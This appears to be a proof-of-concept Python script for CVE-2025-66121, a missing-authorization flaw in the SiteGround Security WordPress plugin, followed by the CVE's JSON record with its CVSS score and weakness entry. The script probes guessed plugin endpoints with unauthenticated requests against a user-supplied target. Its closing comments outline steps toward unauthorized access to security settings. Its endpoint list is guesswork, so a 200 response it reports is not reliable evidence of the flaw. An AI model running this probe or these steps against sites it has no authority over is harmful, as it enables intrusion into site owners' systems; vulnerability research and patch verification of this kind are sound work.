CVE-2025-66121

# CVE-2025-66121 PoC - SiteGround Security Broken Access Control # Target: WordPress site with SiteGround Security plugin <= 1.5.8 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-66121 Missing Authorization in SiteGround Security plugin """ # Add your target URL base_url = target_url.rstrip('/') # Common WordPress REST API endpoints that might be affected endpoints = [ '/wp-json/sg-security/v1/', '/wp-json/sg-security/v1/settings', '/wp-json/sg-security/v1/security-settings', '/wp-admin/admin-ajax.php?action=sg_security', ] print(f"[*] Testing {base_url} for CVE-2025-66121") print(f"[*] Vulnerability: Missing Authorization in SiteGround Security") for endpoint in endpoints: url = base_url + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) # Check if we get unauthorized access or sensitive data if response.status_code == 200: print(f"[+] Potential vulnerability detected at: {url}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") elif response.status_code == 403: print(f"[-] Endpoint {endpoint} returns 403 Forbidden") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] Note: This PoC checks for unauthorized access to sg-security endpoints") print("[*] Manual verification recommended for full exploitation") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") check_vulnerability(target) # Exploitation steps: # 1. Identify WordPress site with SiteGround Security plugin # 2. Enumerate plugin endpoints (e.g., /wp-json/sg-security/) # 3. Send unauthenticated requests to vulnerable endpoints # 4. Exploit incorrectly configured access controls # 5. Gain unauthorized access to security settings

{"cve": {"id": "CVE-2025-66121", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:56.410", "lastModified": "2026-04-27T17:16:40.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in SiteGround SiteGround Security sg-security allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SiteGround Security: from n/a through <= 1.5.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sg-security/vulnerability/wordpress-siteground-security-plugin-1-5-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}